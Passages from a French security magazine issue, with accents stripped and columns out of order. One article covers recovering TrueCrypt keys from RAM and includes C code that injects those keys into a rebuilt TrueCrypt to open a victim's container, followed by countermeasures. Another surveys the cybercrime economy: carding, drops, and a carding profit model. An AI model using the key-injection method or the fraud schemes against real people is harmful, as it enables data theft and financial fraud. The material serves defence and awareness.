Bien que cet article rcupre la RAM pendant que Windows est en cours de fonctionnement, lattaque cold boot du CITP ncessite de couper lalimentation de la RAM, de lextraire et den rcuprer le contenu. Un moyen simple de se prvenir de cette attaque, est de dmonter systmatiquement les disques chiffrs lorsque lon sabsente. Au cas ou lattaque aurait lieu pendant que Windows est lanc, il faut dans un premier temps dsactiver la fonctionnalit de crash dump permettant de gnrer une image complte de la RAM (cf. KB254649). Ne pas utiliser de compte administrateur, car en cas dattaque toutes les actions malveillantes seront effectues avec les permissions dadministrateur (recherche des cls directement en RAM). Malheureusement, ces moyens ne permettent pas de saffranchir dune attaque plus volue. Comme le recours des failles permettant de raliser llvation de privilges pour accder la RAM, envoyer les cls et le conteneur travers le rseau, etc. La partie suivante donne des moyens garantissant une meilleure scurit.

Figure 9. Procmon dont les 256 premiers bits correspondent MK et le 256 suivant SK. On va donc remplacer lappel de cette fonction par linjection de nos cls cf. Listing 4. Une fois le code source modifi, on recompile Truecrypt et on gnre un conteneur de mme taille que la cible avec notre mot de passe. Cela fait, on sauvegarde len-tte de notre conteneur, puis on remplacera celui de la cible avec

l'en-tte sauvegard (cf. Figure 3). Il ne reste plus qu monter le conteneur cible en saisissant notre mot de passe, et le tour est jou. Pour ceux qui seraient sceptiques sur la faisabilit de cette attaque, il suffit de regarder le gain de temps au niveau combinatoire, par rapport une attaque brute force, mme si on effectue des oprations manuelles. On pourrait

Listing 4. Injection des cls


//Master key //Cl a injecter int DecoyMasterKey[64]={ 0x60,0x64,0x33,0xe1,0x47,0x9b,0xa6,0x5d, 0x74,0x6e,0x2d,0x2b,0xbd,0x6a,0x10,0x34, 0x3c,0xab,0x8a,0x95,0xf6,0x49,0xe4,0x2d, 0xd7,0x00,0x6e,0x78,0x0a,0xfe,0xb1,0x3c, 0xdf,0xea,0x30,0x45,0xdb,0x77,0x30,0x64, 0xd3,0xc2,0x29,0x9d,0x8e,0xbc,0x10,0xfd, 0x5a,0xb4,0x14,0x0a,0x57,0x0c,0x25,0x6b, 0x53,0xde,0xe5,0x56,0x23,0x12,0x51,0x08}; MasterKey.Allocate(options->EA->GetKeySize() * 2); //Echange des cls int i; for(i=0;i<64;i++) { MasterKey[i]=DecoyMasterKey[i]; } //RandomNumberGenerator::GetData(); headerOptions.DataKey = MasterKey;

Bien que les protections exposes prcdemment constituent un premier rempart contre les attaques sur les FDE, elles sont loin de fournir une protection suffisante pour garantir la confidentialit

Contre-mesures

68 HAKIN9 1/2010

LA RAM
des donnes. Dautres principes plus efficaces pourraient tre mis en place au niveau logiciel.

Listing 5. Implmentation partielle du camouflage de cls


//Generating decoy keys int nbKey=(100000-2)/2; clock_t start,end; start = clock (); unsigned char eltSecret[64] = {0x01,0x54,0x33,0xe1,0x99, 0x9b,0xa6,0x5d, 0x80,0x6e,0x2d,0x2b,0xbd,0x6a,0x10,0x34, 0x3c,0xab,0x8a,0x95,0xab,0x49,0xe4,0x2d, 0xd7,0x00,0x6e,0x78,0x0a,0xfe,0xc1,0x3c, 0xdf,0xea,0x30,0x67,0xdb,0x77,0x30,0x64, 0xf3,0xc2,0x29,0x9d,0x8e,0xbc,0x10,0xfd, 0x57,0xb4,0x14,0x0a,0x57,0x0c,0x25,0x6b, 0x53,0xde,0xfc,0x56,0x23,0x12,0x51,0x09}; unsigned char hash[nbKey][64]; sha512(hash[0],eltSecret,64); for(int i=1;i<nbKey;i++) { unsigned char mixedHash[64]; //Mixing eltSecret with previous hash for(int z=0;z<64;z++) mixedHash[z]=eltSecret[z]|hash[i-1][z]; //Generate DecoyKey with mixed hash sha512(hash[i],hash[i-1],64); } end=clock(); printf("%d Decoy keys generate in : %g s\n", nbKey*2,(double)end/ CLOCKS_PER_SEC-(double)start/CLOCKS_PER_SEC);

Morcellement des cls


La premire solution propose consiste morceler les cls en RAM. Cette solution empche lutilisation de aeskeyfind, qui effectue des recherches sur des blocs de 128, 256 bits contigus. Les cls tant morceles, il nest plus possible deffectuer cette analyse. Prenons le cas ou lon fragmente les cls octet par octet. On aurait donc 64 morceaux (2 cls de 256 bits) disperser. Le principe est le suivant : lorsque lon veut accder en lecture ou en criture un fichier, le FDE va rassembler la cl en RAM et effectuer lopration de chiffrement ou de dchiffrement. Une fois termin, les cls seront nouveau disperses. La Figure 8 illustre le principe de morcellement avec une cl coupe en quatre parties. La partie suprieure du schma reprsente la rpartition en RAM de chaque bloc avant et aprs chaque tapes. Ce mode de fonctionnement donne la possibilit dattaquer les cls lorsquelles sont rassembles en RAM, surtout lors d'oprations sur des fichiers volumineux. Mais quels sont les impacts sur les performances? Nous allons mesurer de manire qualitative les consquences de cette approche au niveau des performances sur un disque de donnes et un disque systme. Les mesures ont t ralises avec loutil procmon de Sysinternals (cf. Figure 9).
1er cas : Disque de donnes

minutes, en tant utilis normalement (modification de fichier txt et visualisation dimages). Il en ressort que durant ces trente minutes, 32000 oprations ont t faites sur les fichiers ce qui reprsente un temps dexcution de 42,3s soit 2,4% du temps total. Par consquent si on morcelle les cls la fin de chaque opration, on diminue le temps d'exposition lattaque de 97,6%. Ce rsultat est modrer en fonction du niveau dutilisation du disque. Car le recours des programmes utilisant beaucoup de fichiers, on obtiendra un rsultat moins performant.
2me cas : Disque systme

mances qui sera plus importante dans le cas dun disque systme. En supposant que le morcellement et le rassemblement prenne 10ms chacun, on serait pnalis de : moins d'un seconde pour le cas du disque de donnes, 3s pour le cas du disque systme.

Par consquent bien que le morcellement de cl puisse constituer un premier rempart contre les attaques en RAM sur les FDE, il ne garantit pas une protection permanente sur les cls. Un crash dump gnr au bon moment permettrait de les rcuprer.

Un disque contenant uniquement des donnes a t monitor pendant trente

Figure 10. Algorithme de gnration des cls leurres

Cette fois un disque contenant Windows XP a t monitor pendant 30 minutes. Ce qui reprsente 170000 oprations ayant un temps dexcution de 232s, c'est--dire 12,9% du temps de lanalyse. Bien que ce rsultat ne soit pas surprenant, on remarque que lutilisation du morcellement de cl est moins avantageux que dans le cas prcdent. Une autre consquence de ce systme est la dgradation des performances, car chaque accs disque, il faudra rassembler les cls et les morceler ensuite. Cela entranera fatalement une diminution des perfor-

Camouflage des cls


La deuxime mthode vise augmenter la complexit au niveau combinatoire pour lidentification des cls. Pour cela on pourrait noyer le couple (MK;SK) dans un ensemble de n cls en RAM. De cette manire on rcuprerait n + 2 cls au lieu de 2. Si on prend un ensemble de 1000000 de cls (MK et SK inclus) le nombre de combinaison possible est 9,9.1011. Cependant une telle solution est-elle utilisable et efficace? Ce principe ncessite un certain nombre de conditions et de contraintes pour fonctionner :
1/2010 HAKIN9 69

TECHNIQUE
chaque ouverture du conteneur doit gnrer le mme ensemble de cls. Sinon on pourrait laide de deux dumps identifier les cls similaires, la gnration des cls doit reposer sur un lment secret, combien de temps faut-il pour gnrer ces n cls, combien de donnes supplmentaires seront en RAM. On saperoit que pour 1000000 de cls on commence obtenir des rsultats acceptables, puisquil faudrait 32 ans pour retrouver (MK;SK). Il ne reste plus qu implmenter cette solution pour mesurer le temps ncessaire la gnration de ces n cls. Le Listing 5 prsente l'implmentation partielle de cette mthode pour la gnration de 99998 cls partir de l'algorithme prsent dans la Figure 10 (la fonction sha512 utilise est celle du source sha2.h de Truecrypt). Les tests de gnration ont t effectus sur un PC portable quip d'un Pentium M 1.73GHz et de 1Go de RAM. Les rsultats donne une moyenne de 0,3s pour gnrer 99998 cls, ce qui donne 3s pour en gnrer 999998. Le recours une telle solution est donc envisageable. NB : Cet article donne une implmentation partielle de cette contre-mesure pour laisser Truecrypt le choix de son implmentation ou non. L'quipe de Truecrypt a t mise au courant du problme soulev par cet article ainsi que des contre-mesures proposes.

Sur Internet
http://citp.princeton.edu/memory/ attaque Cold Boot du CITP, http://citp.princeton.edu/memory/code/ code source des outils du CITP dont aeskeyfind http://esec.fr.sogeti.com/blog/ index.php?2008/12/05/44-cspnTruecrypt certification CSPN Truecrypt, http://www.rsa.com/rsalabs/ node.asp?id=2127 Norme RSA PKCS#5 V2.0, http://www.Truecrypt.org/docs/ ?s=volume-format-specification format d'un en-tte Truecrypt, http://www.Truecrypt.org/docs/?s=aes description de l'algorithmeAES implment par Truecrypt, http://support.microsoft.com/kb/254649 configuration du crash dump, http://support.microsoft.com/kb/244139 gnrer un crash dump, http://technet.microsoft.com/en-us/ sysinternals/bb896645.aspx procmon de Sysinternals, http://www.bull.com/fr/trustway/rci.html cl USB chiffrante RCI de Bull, http://www.myglobull.fr/ disque chiffrant Globull de Bull.

Pour rpondre ces problmatiques, nous allons implmenter partiellement cette solution dans le code source de Truecrypt. Le premier problme consiste gnrer pour chaque conteneur le mme ensemble de n cls partir dun lment secret. Cet lment pourrait tre stock dans len-tte dun volume. Dans lexemple suivant, nous allons utiliser une variable de 64 octets comme lment secret. Les n cls seront gnres avec lalgorithme de la Figure 10. Le fait dutiliser llment secret pour la gnration de chaque cl empche un attaquant de rgnrer les cls. Car si chaque cl ntait quun condensat de la prcdente, on pourrait identifier les fausses cls en calculant le hash de chacune et voir si le rsultat trouv correspond une cl rcupre. La fonction utilise pour la gnration des cls est SHA-512. Par consquent deux cls seront gnres en mme temps. Au niveau de la RAM, le tableau suivant prcise pour chaque nombre de cls gnres : le nombre de combinaisons, le temps maximal pour identifier le couple (MK;SK) en testant n cls/sec avec n processeurs, la taille des n cls en RAM.

Protections matriels
Malgr les rsultats obtenus avec les solutions prcdentes, le moyen le plus sur pour contrer ce type d'attaque et d'utiliser des solutions de chiffrement matrielles. Ces quipements utilisent des crypto-processeurs chargs d'effectuer toutes les oprations caractre cryptographique notamment: le chiffrement, le dchiffrement, la gestion des cls.

Terminologie
BSOD : Blue Screen Of Death, CSPN : Certificat de Scurit Premier Niveau, DCSSI : Direction Centrale de la Scurit des Systmes d'Information, EAL : Evaluation Assurance Level, HK : Header Keys, MK : Master Key, PBKDF : Password-Based Key Derivation Function, SK : Secondary Key.

L'avantage de ces solutions est que les cls de chiffrement restent l'intrieur du cryptoprocesseur (elles ne sont jamais rsidentes en RAM). Par consquent la rcupration des cls n'est plus qu'une simple opration de lecture en RAM, mais une attaque sur un matriel spcifique. Ces quipements existent sous forme de cl ou de disque dur comme les cls RCI et les disques chiffrant Globull de la socit Bull. Cependant ces solutions sont plutt destines aux entreprises cause de leurs cots.

sr pour assurer la protection de ces informations, ils ne sont pas inviolables. Bien que cet article prsente cette faille sur Truecrypt, d'autres FDE sont galement vulnrables. Les solutions logicielles proposes n'offre pas de couverture parfaite mais offre dj un premier rempart pouvant tre difficile franchir suivant leurs configurations. Il est donc du ressort des diteurs de FDE de prendre en compte ces menaces en intgrant de nouvelles fonctionnalits permettant de lutter contre les attaques en RAM. Remerciements: Laurent Dubeaux : pour son aide et son soutien, ainsi que son ide de morcellement des cls.

Conclusion

Bien que les systmes de chiffrement de disque la vole restent un moyen

L'auteur suit actuellement une formation d'ingnieur en informatique et rseaux de communications par alternance (5me anne). Il ralise son cursus d'ingnieur au sein du service SSI d'un grand groupe franais o il est charg principalement d'activit en recherche et dveloppement. Contact : jerome.bise@orange.fr

propos des auteurs

70 HAKIN9 1/2010

BULLETIN DABONNEMENT
comment se dfendre
Merci de remplir ce bon de commande et de nous le retourner par fax : (+48) 22 244 24 59 ou par courrier : Software Press Sp. z o. o. SK Bokserska 1, 02-682 Varsovie, Pologne Tel. (00 33) 09.75.180.358 E-mail : abo_fr@software.com.pl
Prnom/Nom ........................................................................................ Entreprise ............................................................................................. Adresse ................................................................................................. ................................................................................................................ Code postal .......................................................................................... Ville ........................................................................................................ Tlphone ............................................................................................. Fax ......................................................................................................... Je souhaite recevoir l'abonnement partir du numro .................... ................................................................................................................ En cadeau je souhaite recevoir ....................................................... ................................................................................................................ E-mail (indispensable pour envoyer la facture) ................................ ................................................................................................................

PRIX DABONNEMENT HAKIN9 COMMENT SE DFENDRE : 35


Je rgle par : Carte bancaire n CB

code CVC/CVV
expire le _______________ date et signature obligatoires

Abonnez-vous et recevez un cadeau !

type de carte (MasterCard/Visa/Diners Club/Polcard/ICB)

Virement bancaire :
Nom banque : Socit Gnrale Chasse/Rhne banque guichet numro de compte cl Rib 30003 01353 00028010183 90 IBAN : FR76 30003 01353 00028010183 90 Adresse Swift (Code BIC) : SOGEFRPP

TECHNIQUE
GUILLAUME LOVET

L'argent

sales des cyber-criminels


Degr de difficult

Arnaqueurs, phishers, bot herders, spammeurs, extorqueurs en-ligne, voleurs didentit... Leurs noms semblent obscurs mais leurs intentions ne le sont pas : ils sont tous l pour voler notre argent.
ujourdhui, ce nest plus un secret, les cybercriminels escroquent dnormes montants tous les ans, partout dans le monde. Alors que les hackers de lancienne cole louent leurs services pour mener un nombre limit doprations actives d'espionnage industriel, les cyber-criminels combinent aujourdhui des abus dutilisateur, des virus, des chevaux de Troie et des logiciels espions visant des utilisateurs moyens. Il y a beaucoup de questions auxquelles nous avons besoin de rpondre afin de combattre ces criminels : qui sont-ils et rpondent-ils un profil standard ? Quel est leur modle conomique et est-il facile de monter une telle entreprise ? A travers quels canaux se dplace leur argent et o finit-il ? Est-ce que les vrais criminels organiss la mafia sont impliqus dans ce modle ?

Dfinition

CET ARTICLE EXPLIQUE...


Le fonctionnement de la cybercriminalit. Les protagonistes du march.

CE QU'IL FAUT SAVOIR...


Des notions d'attaques informatiques. Des connaissances sur l'conomie parrallle. 72 HAKIN9 1/2010

Le terme cyber-crime dsigne couramment les activits criminelles lucratives qui impliquent lusage dordinateurs et de rseaux, indpendamment du niveau de cette implication (source, cible, moyens...). Le prsent document se concentre davantage sur les cyber-criminels impliqus dans les projets qui relvent normment de lInternet : carding, usurpation didentit, herding, installation de logiciels espions (en anglais spyware planting), lespionnage industriel et lextorsion en-ligne.

liceberg. En effet, il est communment admis que seul un tiers des victimes dpose plainte. Toutefois, les estimations diverses donnent une ide assez large de lampleur de lconomie cyber-criminelle d'aujourd'hui : titre dexemple, un rapport effectu par le FBI a rvl que ce type de crime avait fait perdre rien quaux Etats-Unis 67 milliards de dollars lanne dernire. Selon le National Hi-Tech Crime Unit (NHTCU) britannique, le montant li aux crimes informatiques pour la Grande Bretagne serait de 4,6 milliards par an. Pour Valerie McNiven, conseillre en questions sur la cybercriminalit auprs du Gouvernement Fdral amricain, lanne dernire, les gains annuels de la cybercriminalit slveraient 105 milliards de dollars et seraient suprieurs ceux du trafic de drogue. De plus, les fraudes lies aux cartes de crdit coteraient 400 millions de dollars tous les ans et les attaques de virus - environ 12 milliards. Le montant des bnfices perdus par les entreprises dont les brevets et les marques dposs ont t vols slverait 250 milliards de dollars tous les ans, soit 5 % du trafic mondial. Tous ces chiffres donnent le vertige un grand nombre dentre nous et ncessitent incontestablement une analyse plus dtaille : Quest le cyber-crime, qui en tire des profits, comment et o ?

Introduction

Une zoologie du cyber-crime

Evaluer limpact conomique de ce type de crimes nest pas une tche facile car les attaques signales ne constituent que le sommet de

En fait, le cyber-crime est un terme gnrique dsignant diverses activits criminelles en ligne, gnrant des bnfices financiers au dtriment, en gnral, dune organisation ou dune personne.

CYBERCRIMINALIT
fort probable que ce code ait t obtenu auparavant par la mthode phishing (voir ci-aprs). Tous les jours, des millions de nouveaux numros de cartes de crdit sont marchands par les cyber-criminels (qui s'appellent eux-mmes carders) sur Internet (Figure 1). en gnral des fins malveillantes. [...] La commande et le contrle seffectuent souvent via un serveur IRC ou un canal spcifique sur le rseau IRC public.

Figure 1. Canal des carders


Voici un classement non exhaustif de ces activits.

Espionnage industriel
Lespionnage industriel n'est pas un concept nouveau. Il est aussi vieux que lindustrie elle-mme. Au dbut, il tait rserv quelques centaines de hackers trs dous, embauchs (souvent pour plusieurs milliers de dollars selon leur mission) par des entreprises trs en vue ou mme des gouvernements travers des organisations escrocs. Mais avec la mise disposition du public de chevaux de Troie et de logiciels espions, mme les hackers les moins dous sont prsent capables de gnrer dnormes bnfices dans lespionnage industriel. La presse en parle souvent en terme dAttaques cibles (ce qui inclut le phishing cibl).

Phishing Spamming
Le spamming est malheureusement une sorte de peste universelle dont est familier sans le vouloir tout utilisateur actuel. Par consquent, nous nous contenterons de vous prsenter une simple dfinition (provenant de larticle sur Wikipedia concernant le spamming, cf.) : Le spamming est communment dfini comme lenvoi de messages lectroniques non dsirs, donc des messages que personne na sollicits (qui sont non dsirs) et qui sont reus par plusieurs rcipients (spam). Le phishing se caractrise par les tentatives de semparer de manire frauduleuse des informations confidentielles telles que mots de passe et autres codes pour se connecter sur les comptes bancaires par internet. Selon Wikipedia, ce type de fraude est dguis comme un message officiel dune institution bancaire ou financire bien connue. Habituellement, il sagit de messages lectroniques.

Herding
Diminutif de botnet herding, bot tant le diminutif de robot, et herding venant de herder qui veut dire berger). Les botnets ont attir l'attention des mdias tout au long de lanne dernire et taient souvent prsents (y compris, par lauteur lui-mme, dans le document AVAR 2005) comme un picentre de lactivit cyber-criminelle daujourdhui. De nouveau, nous nous contenterons dune brve prsentation suffisante pour notre sujet : Un botnet est un terme du jargon informatique dsignant un ensemble de logiciels robots ou bots qui fonctionnent de manire autonome [...] Le terme est habituellement utilis pour se rfrer un groupe dordinateurs pirats qui excutent des programmes (des chevaux de Troie, des vers informatiques, des portes e) dans le cadre dune infrastructure commune de commande et de contrle. Le concepteur de botnet est capable de commander un groupe distance, [...]

Profiles des cyber-criminels

Carding
Les fraudes lies aux cartes de crdit sur Internet sont souvent appeles Carding dans le jargon des cyber-criminels. Cette activit florissante est prsente depuis des annes dans les chambres de discussion IRC, suivant la monte en flche des boutiques sur Internet. En effet, l'origine, ce sont des boutiques en ligne qui gardent dans leurs bases de donnes toutes les informations sur le client non seulement le numro de la carte de crdit, mais aussi le numro de scurit (les 3 chiffres au dos de la carte), le nom du titulaire, son adresse, parfois son numro de scurit sociale, voire le numro de son permis. Dans certains cas, le numro PIN est galement inclus. Puisque les boutiques en ligne ne demandent pas aux clients de saisir leur code PIN, il y est

Les cyber-criminels sont rarement impliqus tous les niveaux des activits. A l'instar du crime organis dans la vie relle, les projets des cyber-criminels reposent sur des catgories ou des couches diffrentes de hackers. Certains dentre eux ne peuvent mme pas tre rattachs une seule catgorie, mais la classification qui suit donne un bon aperu des lments de base du puzzle du cyber-crime.

Codeurs
gs entre 20 et 25 ans, ils ont une exprience de plus de 5 ans dans la communaut des hackers. De jeunes programmeurs autodidactes ou des codeurs professionnels la recherche de travail, qui viennent gnralement de pays o 300 dollars par mois font la diffrence, mme s'ils doivent prendre des risques pour cela. Ils vendent des outils prts tre utiliss (chevaux de Troie, mailers, bots faits sur mesure) ou des services (ralisation dun code binaire impossible dtecter par des moteurs AV) la main duvre du cyber-crime (les kids, cf. ci-aprs), en empochant des frais qui se comptent en gnral en centaines de dollars amricains. Puisquils restent uniquement
1/2010 HAKIN9 73

Figure 2. Le march

TECHNIQUE
Figure 3. La vrit nu au niveau fournisseur, les risques quils prennent sont assez limits ; ils essaient systmatiquement dassurer leurs arrires avec des phrases comme Je ne peux pas tre tenu responsable de l'utilisation de cet outil ducatif. Ne pas utiliser des fins de spamming / hacking / envoi de chevaux de Troie. Les auteurs de scams (terme anglais dsignant un type de fraude pratique sur Internet), qui prparent et vendent les sites Web de scam, pas ncessairement au top de la technique, peuvent trs bien tre classs dans cette catgorie.

Drops
Gnralement sensiblement plus gs que les kids, ils jouent un rle essentiel dans le crime sur le Web. Ce sont surtout eux qui transforment largent virtuel (logins de banques en-ligne vols, comptes paypal, comptes eCurrency...) en argent rel. Ils offrent aux criminels lopportunit de transfrer largent vol vers leurs propres comptes domicilis dans des banques lgales. Le transfert effectu, ils gardent un pourcentage (habituellement 50 %) des montants concerns et transfrent les 50 % restants aux cyber-criminels en argent liquide (il existe plusieurs services internationaux prvus cet effet : Moneygram, Western Union, etc), en tout cas, ils disent le faire... lescroquerie est toujours commune dans ce type de transactions, car le cyber-criminel lorigine du transfert na aucune garantie relle que le drop lui envoie son argent. Par consquent, comme cest toujours le cas dans les situations sociales similaires, les Rseaux de confiances ont vu naturellement le jour. Les cyber-criminels souhaitent tablir une relation de confiance avec leurs drops, et essaient de faire systmatiquement appel la mme personne, ds quelle sest avre digne de confiance et de la partager avec leurs amis. La condition principale pour devenir un drop, hormis le fait davoir un compte en banque, cest dhabiter dans un pays qui na pas de loi rprimant les actes criminels numriques (ou des lois assez vagues en la matire), et donc, dans

un pays o toute notion du cyber-crime est ignore. LIndonsie, la Malaisie et la Bolivie font partie de ces pays. A titre dexemple, aux Etats-Unis, la loi Anti-Phishing na t mise en place quen 2005.

Tous ces lments du puzzle se retrouvent sur la place du march, appel IRC.

Modles conomiques, ou comment fonctionne ce petit monde

Le march
IRC est labrviation de Internet Relay Chat. Selon Wikipedia, cest une forme de communication instantane sur le Web. Conue surtout pour des conversations en simultan entre plusieurs personnes dans les forums de discussion, appels canaux, elle s'utilise aussi pour des changes avec une seule personne. [...] Un serveur IRC est capable de se connecter d'autres serveurs IRC afin dtendre le rseau IRC. Les utilisateurs accdent aux rseaux IRC en connectant un client un serveur. mIRC (Windows) et X-Chat (Linux) sont des logiciels clients IRC trs populaires. IRC fait partie du Village global depuis 1988. Les profils de ses utilisateurs sont trs divers, mme si IRC est gnralement associ aux groupes de hackers. IRC serait mieux appel socit parallle avec ses codes, rgles, idoles, matres et fables. Plusieurs canaux utiliss par les cyber-criminels sont accessibles au grand public, mais pour accder aux plus populaires, il faut une invitation particulire. Contrairement la plupart des systmes IM, les adresses IP des utilisateurs IRC sont visibles de tous les autres utilisateurs.

Kids

Ils sont la vritable main duvre du cyber-crime. Ags entre 15 et 20 ans, ils rdent autour des chambres de discussion de carding et arrivent se faire un peu dargent en achetant (ou en crant) et revendant les lments de base utiliss pour faire de la vraie fraude : listes de spam, php mailers, serveurs mandataires, cartes de crdit, hbergeurs pirats, faux sites Web, etc... Ils nhsitent pas arnaquer leurs clients et ce petit trafic leur gnre des revenus mensuels deux chiffres seulement et ce, sils ne se font pas arnaquer eux-mme. Cependant, il ne fait aucun doute que, pour un adolescent rsidant, par exemple, en Ukraine, le montant de 20 dollars par mois vaut le temps pass en ligne. Un petit pourcentage dentre eux habituellement, les plus dous et expriments font rellement quelque chose : conception des botnets, programmation des scams de phishing, recueil des numros de cartes de crdit travers des programmes malveillants sur les sites Web dont les cibles sont des boutiques en ligne vulnrables, etc. Les kids de la premire sous-catgorie (dcrite ci-dessus) essaient sans cesse de trouver un mentor dans la catgorie des actifs. Puisquils ont trs peu proposer, pour un mentor potentiel, former une autre personne active amenerait tout simplement un concurrent sur le march. Seuls les plus dous persvrent donc. Figure 4. Utilisation des drops
74 HAKIN9 1/2010

CYBERCRIMINALIT
(CCpowerForums.com est lun des forums les plus populaires) bien que la persistance des messages constitue une barrire pour la plupart des cyber-criminels srieux qui en gnral optent alors pour IRC (Figure 2). tentent de se servir de e-gold pour des activits criminelles. e-gold coopre depuis de nombreuses annes avec les organismes chargs de faire respecter la loi aux Etats-Unis et dans le monde, en fournissant les donnes et l'aide dans les enqutes en rponse aux demandes lgales.[...] Notre personnel a particip des centaines denqutes en apportant son aide FBI, FTC, IRS, DEA, SEC, USPS, et dautres. Les moyens de paiement trs populaires restent les transferts cbls dargent ; ce type de services est offert par des socits, comme Western Union ou MoneyGram. Le schma est trs simple : un individu A dpose un certain montant dargent liquide dans une agence de socit de transfert d'argent ainsi que les coordonnes de l'individu B. Lindividu B se prsente alors dans nimporte quelle agence de la socit dans le monde et grce au numro de transaction (qui lui a t directement envoy par A) et une carte didentit, il obtient largent liquide (dduit des frais de transactions, inutile de le dire). Ces transferts sont eux aussi irrversibles. Ils traversent les frontires presque instantanment et sont quasiment anonymes. En effet, mme si en thorie une pice didentit est exige pour recevoir largent liquide, en pratique, les bureaux dans certains pays font des vrifications superficielles, voire aucune vrification du tout. Parmi ces pays se trouvent notamment le Brsil, la Russie, lUkraine et beaucoup d'tats d'Afrique. Au premier abord, cela semble tre une politique terriblement peu rigoureuse mais noubliez pas que dans certains pays, les cartes didentit ne sont pas obligatoires (et la plupart de gens n'ont pas les moyens de sen offrir), vous comprendrez alors la logique de ce point.

La devise
E-gold est une devise en or digitale, exploite par la Gold & Silver Reserve Inc. sous e-gold Ltd. Cest un systme qui autorise des transferts instantans de proprit dor entre les usagers. Habituellement, les gros comptes sont dtenus par des gens appels Gold Bugs, autrement dit, des gens qui ne font pas confiance aux devises traditionnelles telles que le dollar, leuro, le yen, le livre britannique, etc. et prfrent investir dans de lor ; cependant, lutilisation facile de e-gold en a fait un moyen de paiement universel : Anonymat : ouvrir un compte e-gold prend moins dune minute et ne demande que quelques clics. Aucune adresse de messagerie lectronique valide nest exige et mme si les utilisateurs sont obligs de saisir un nom, personne ne le vrifie.

Figure 5. Skimmer
Puisque la plupart dentre eux, en particulier ceux qui font partie des cyber-criminels, souhaitent rester anonymes, ils font souvent recours aux serveurs mandataires. Il est possible dutiliser des serveurs mandataires dits socks, la redirection shell, voire une simple redirection TCP mais un grand nombre dutilisateurs optent pour des serveurs mandataires ddis au protocole IRC, dots des fonctionnalits avances. Ce type de serveurs mandataires est connu de manire informelle comme bouncers, dont le plus populaire reste PsyBNC. En raison de contrles gnralement assez faibles de tous les lments (par exemple, serveurs) formant le rseau IRC, la confidentialit sur IRC est extrmement douteuse. Il existe notamment des outils sauvegardant tous les messages envoys tous les canaux sur le rseau IRC. Ne loubliez pas, IRC reste un endroit parfait pour les cyber-criminels dsirant se crer de nouveaux contacts et raliser des transactions poursuivies ensuite sur les rseaux IM privs ; la plupart des kids travaillent sur Yahoo Messenger ou ICQ, tandis que les codeurs prfrent en gnral les protocoles dots du support de chiffrement (par exemple, clients Jabber, tels que Psi). De nombreux forums sur Internet servent galement de marchs pour le carding

Les adresses IP sont sauvegardes mais lutilisation toute simple d'un proxy rend cette mesure inutilisable en tant que moyen de reprage. Conclusion : les comptes e-gold sont anonymes. Irrversibilit : la diffrence dautres moyens de paiement lectronique populaires, comme Paypal, toutes les transactions (appeles dpenses) sur e-gold sont irrversibles. La socit renforce cette politique mme en cas derreur de l'utilisateur. Indpendance : e-gold Ltd. a t enregistre Nevis (West Indies) en 1999, mais a t enleve du registre en 2003 pour cause de non-paiement des frais. Cest donc une structure qui nest pas enregistre et qui nest soumise la lgislation daucun pays. Ce point a toutefois t rcemment clarifi par le Prsident et le fondateur, Dr. Douglas Jackson dans sa dclaration publie : e-gold fonctionne de manire lgale et nadmet pas les personnes qui

Figure 6. Cartes plastiques

Figure 7. Lecteur de bandes magntiques


1/2010 HAKIN9 75

TECHNIQUE
Tant e-gold que les agences de transfert dargent ne sont pas lis exclusivement la cyber-criminalit ; certains sen servent des fins compltement lgales ou mme pour des transactions criminelles qui nont aucun rapport avec les scams de l'Internet. A titre dexemple, il est frquemment admis qu'ils sont essentiellement des instruments de blanchiment d'argent, en raison de la nature des services quils proposent. en-ligne avec une prcision variable. Les acheteurs de cartes de crdit les utiliseraient pour des.achats sur le net ou directement dans les boutiques.

Acheter des choses sur Internet


Un site, sur lequel les escrocs peuvent acheter des choses avec une carte vole, sappelle en jargon informatique un site cartable. Ces sites sont des magasins en ligne qui nexigent pas que ladresse de facturation et de livraison soient identiques. Ainsi, les criminels achtent des marchandises en ligne avec une carte vole et les font livrer aux drops. Tandis quun carder moyen utilisera les drops pour des oprations ponctuelles (pour acheter un ordinateur portable, un t-shirt, etc.), certaines organisations criminelles en font une entreprise plein temps. Ils recrutent les drops via les fausses offres d'emploi, ressemblant la lettre prsente en annexe (celle-l est toutefois prvue pour Paypal et non pour les paquets Figure 4). Les cyber-criminels achtent des marchandises en ligne, les font livrer aux drops qui les leur retournent et ensuite la marchandise est vendue sur eBay. Cots : acheter 40 numros valides de cartes de crdit : [il faut acheter 100 numros 2 dollars chaque un vendeur de confiance pour en avoir 40 qui fonctionnent], payer 10 drops pour renvoyer un paquet par semaine : 800$ [ 20$ le paquet], cot des envois des paquets de drops aux cyber-criminels : , bnfices, revendre la marchandise sur eBay pour : le paquet, sachant que certains sont plus chers (par exemple, ordinateurs portables) et dautres moins chers (par exemple, vtements)], cot total par mois : , bnfice par mois : , Gain net par mois : , Index de productivit (Bnfices/Cots) : 8,9.

cas-l, les chances de rester en dehors des radars de la justice internationale sont considrablement rduites. Comme cest le cas de quasiment tous les modles conomiques criminels, il existe une proportion entre les bnfices accumuls et les probabilits dtre dcouvert.

Faire des achats dans de vrais magasins (instore carding)


Ce type darnaque existe depuis le dbut des annes 90 lorsque les boutiques en ligne nexistaient pas encore. A lpoque, les arnaqueurs vendaient des copies digitales (des dumps en jargon informatique) des informations prsentes sur la bande magntique des cartes de crdit et recueillies gnralementIl peut donc tre considr comme la vieille cole. lpoque, les escrocs vendaient des copies digitales (des dumps en jargon informatique) des informations qui se trouvent sur la bande magntique des cartes de crdit et sont en gnral recueillies par les infmes skimmers ATA - distributeurs de billets pirats (Figure 5). Les informations recueillies taient alors vendues et les acheteurs des numros vols fabriquaient de fausses cartes (appeles cartes plastiques) laide dun appareil qui gravait les infos sur des bandes numriques. Ensuite, des achats taient effectus avec ces fausses cartes jusqu concurrence du montant autoris pour la carte originale. Si le PIN avait t vol aussi ( laide des camras caches ou mme dun faux clavier de distributeur automatique, voire par une observation attentive), le retrait d'argent tait galement possible. Aujourdhui, des numros de cartes sont toujours vendus sur lInternet. Bien sr, il est possible de produire une carte de crdit plastique partir tout simplement dun numro trouv dans les bases de donnes de certains magasins en ligne. Les informations gnres ainsi sont considres comme moins fiables que les informations voles laide dun appareil mais elles sont aussi moins chres. Une carte produite partir dun ensemble complet dinformations sur les cartes de crdit cote 10 dollars, alors quune carte Visa Classique pirate se vend environ 80 dollars (Figure 6 et 7). Ce point nous amne analyser le modle conomique suivant :

Modle conomique de carding


